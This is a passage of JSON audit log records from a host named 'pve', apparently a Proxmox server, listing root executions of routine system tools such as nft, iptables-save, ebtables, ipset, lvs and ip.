ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345074,"@rawstring":"node=pve type=PATH msg=audit(1781964345.074:60617): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345074,"@rawstring":"node=pve type=PATH msg=audit(1781964345.074:60617): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964344948,"@rawstring":"node=pve type=PATH msg=audit(1781964344.948:60616): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964344948,"@rawstring":"node=pve type=PATH msg=audit(1781964344.948:60616): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964344904,"@rawstring":"node=pve type=PATH msg=audit(1781964344.904:60615): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964344904,"@rawstring":"node=pve type=PATH msg=audit(1781964344.904:60615): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964343871,"@rawstring":"node=pve type=PATH msg=audit(1781964343.871:60614): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964343871,"@rawstring":"node=pve type=PATH msg=audit(1781964343.871:60614): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964343871,"@rawstring":"node=pve type=PATH msg=audit(1781964343.871:60613): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964343871,"@rawstring":"node=pve type=PATH msg=audit(1781964343.871:60612): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964343858,"@rawstring":"node=pve type=PATH msg=audit(1781964343.858:60611): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964343858,"@rawstring":"node=pve type=PATH msg=audit(1781964343.858:60611): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964343858,"@rawstring":"node=pve type=PATH msg=audit(1781964343.858:60610): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964343857,"@rawstring":"node=pve type=PATH msg=audit(1781964343.857:60609): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964339647,"@rawstring":"node=pve type=PATH msg=audit(1781964339.647:60608): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964339647,"@rawstring":"node=pve type=PATH msg=audit(1781964339.647:60608): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964339647,"@rawstring":"node=pve type=PATH msg=audit(1781964339.647:60607): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964339647,"@rawstring":"node=pve type=PATH msg=audit(1781964339.647:60607): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964339644,"@rawstring":"node=pve type=PATH msg=audit(1781964339.644:60606): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964339644,"@rawstring":"node=pve type=PATH msg=audit(1781964339.644:60606): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964338848,"@rawstring":"node=pve type=PATH msg=audit(1781964338.848:60605): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964338848,"@rawstring":"node=pve type=PATH msg=audit(1781964338.848:60605): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964338848,"@rawstring":"node=pve type=PATH msg=audit(1781964338.848:60604): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964338847,"@rawstring":"node=pve type=PATH msg=audit(1781964338.847:60603): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964338835,"@rawstring":"node=pve type=PATH msg=audit(1781964338.835:60602): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964338835,"@rawstring":"node=pve type=PATH msg=audit(1781964338.835:60602): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964338835,"@rawstring":"node=pve type=PATH msg=audit(1781964338.835:60601): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964338835,"@rawstring":"node=pve type=PATH msg=audit(1781964338.835:60600): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336057,"@rawstring":"node=pve type=PATH msg=audit(1781964336.057:60599): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336057,"@rawstring":"node=pve type=PATH msg=audit(1781964336.057:60599): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336054,"@rawstring":"node=pve type=PATH msg=audit(1781964336.054:60598): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336054,"@rawstring":"node=pve type=PATH msg=audit(1781964336.054:60598): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336052,"@rawstring":"node=pve type=PATH msg=audit(1781964336.052:60597): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336052,"@rawstring":"node=pve type=PATH msg=audit(1781964336.052:60597): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336052,"@rawstring":"node=pve type=PATH msg=audit(1781964336.052:60596): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336049,"@rawstring":"node=pve type=PATH msg=audit(1781964336.049:60595): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336049,"@rawstring":"node=pve type=PATH msg=audit(1781964336.049:60595): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336049,"@rawstring":"node=pve type=PATH msg=audit(1781964336.049:60595): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336042,"@rawstring":"node=pve type=PATH msg=audit(1781964336.042:60594): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336042,"@rawstring":"node=pve type=PATH msg=audit(1781964336.042:60594): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336036,"@rawstring":"node=pve type=PATH msg=audit(1781964336.036:60593): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336036,"@rawstring":"node=pve type=PATH msg=audit(1781964336.036:60593): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336030,"@rawstring":"node=pve type=PATH msg=audit(1781964336.030:60592): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336030,"@rawstring":"node=pve type=PATH msg=audit(1781964336.030:60592): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336022,"@rawstring":"node=pve type=PATH msg=audit(1781964336.022:60591): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336022,"@rawstring":"node=pve type=PATH msg=audit(1781964336.022:60591): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336015,"@rawstring":"node=pve type=PATH msg=audit(1781964336.015:60589): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336015,"@rawstring":"node=pve type=PATH msg=audit(1781964336.015:60589): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336008,"@rawstring":"node=pve type=PATH msg=audit(1781964336.008:60588): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336008,"@rawstring":"node=pve type=PATH msg=audit(1781964336.008:60588): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336002,"@rawstring":"node=pve type=PATH msg=audit(1781964336.002:60587): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964336002,"@rawstring":"node=pve type=PATH msg=audit(1781964336.002:60587): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335996,"@rawstring":"node=pve type=PATH msg=audit(1781964335.996:60586): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335996,"@rawstring":"node=pve type=PATH msg=audit(1781964335.996:60586): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335989,"@rawstring":"node=pve type=PATH msg=audit(1781964335.989:60585): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335989,"@rawstring":"node=pve type=PATH msg=audit(1781964335.989:60585): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335982,"@rawstring":"node=pve type=PATH msg=audit(1781964335.982:60584): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335982,"@rawstring":"node=pve type=PATH msg=audit(1781964335.982:60584): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335975,"@rawstring":"node=pve type=PATH msg=audit(1781964335.975:60583): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335975,"@rawstring":"node=pve type=PATH msg=audit(1781964335.975:60583): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335969,"@rawstring":"node=pve type=PATH msg=audit(1781964335.969:60582): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335969,"@rawstring":"node=pve type=PATH msg=audit(1781964335.969:60582): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335963,"@rawstring":"node=pve type=PATH msg=audit(1781964335.963:60581): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335963,"@rawstring":"node=pve type=PATH msg=audit(1781964335.963:60581): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335959,"@rawstring":"node=pve type=PATH msg=audit(1781964335.959:60580): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335959,"@rawstring":"node=pve type=PATH msg=audit(1781964335.959:60580): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335957,"@rawstring":"node=pve type=PATH msg=audit(1781964335.957:60579): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335957,"@rawstring":"node=pve type=PATH msg=audit(1781964335.957:60579): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335957,"@rawstring":"node=pve type=PATH msg=audit(1781964335.957:60578): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335952,"@rawstring":"node=pve type=PATH msg=audit(1781964335.952:60577): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335952,"@rawstring":"node=pve type=PATH msg=audit(1781964335.952:60577): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335952,"@rawstring":"node=pve type=PATH msg=audit(1781964335.952:60577): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335944,"@rawstring":"node=pve type=PATH msg=audit(1781964335.944:60576): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335944,"@rawstring":"node=pve type=PATH msg=audit(1781964335.944:60576): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335935,"@rawstring":"node=pve type=PATH msg=audit(1781964335.935:60575): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335935,"@rawstring":"node=pve type=PATH msg=audit(1781964335.935:60575): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335929,"@rawstring":"node=pve type=PATH msg=audit(1781964335.929:60574): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335929,"@rawstring":"node=pve type=PATH msg=audit(1781964335.929:60574): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335922,"@rawstring":"node=pve type=PATH msg=audit(1781964335.922:60573): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335922,"@rawstring":"node=pve type=PATH msg=audit(1781964335.922:60573): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335915,"@rawstring":"node=pve type=PATH msg=audit(1781964335.915:60572): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964335915,"@rawstring":"node=pve type=PATH msg=audit(1781964335.915:60572): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964334809,"@rawstring":"node=pve type=PATH msg=audit(1781964334.809:60571): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964334809,"@rawstring":"node=pve type=PATH msg=audit(1781964334.809:60571): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964334772,"@rawstring":"node=pve type=PATH msg=audit(1781964334.772:60570): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964334772,"@rawstring":"node=pve type=PATH msg=audit(1781964334.772:60570): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964333822,"@rawstring":"node=pve type=PATH msg=audit(1781964333.822:60569): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964333822,"@rawstring":"node=pve type=PATH msg=audit(1781964333.822:60569): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964333822,"@rawstring":"node=pve type=PATH msg=audit(1781964333.822:60568): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964333822,"@rawstring":"node=pve type=PATH msg=audit(1781964333.822:60567): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964333809,"@rawstring":"node=pve type=PATH msg=audit(1781964333.809:60566): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964333809,"@rawstring":"node=pve type=PATH msg=audit(1781964333.809:60566): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964333809,"@rawstring":"node=pve type=PATH msg=audit(1781964333.809:60565): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964333809,"@rawstring":"node=pve type=PATH msg=audit(1781964333.809:60564): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964328797,"@rawstring":"node=pve type=PATH msg=audit(1781964328.797:60563): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 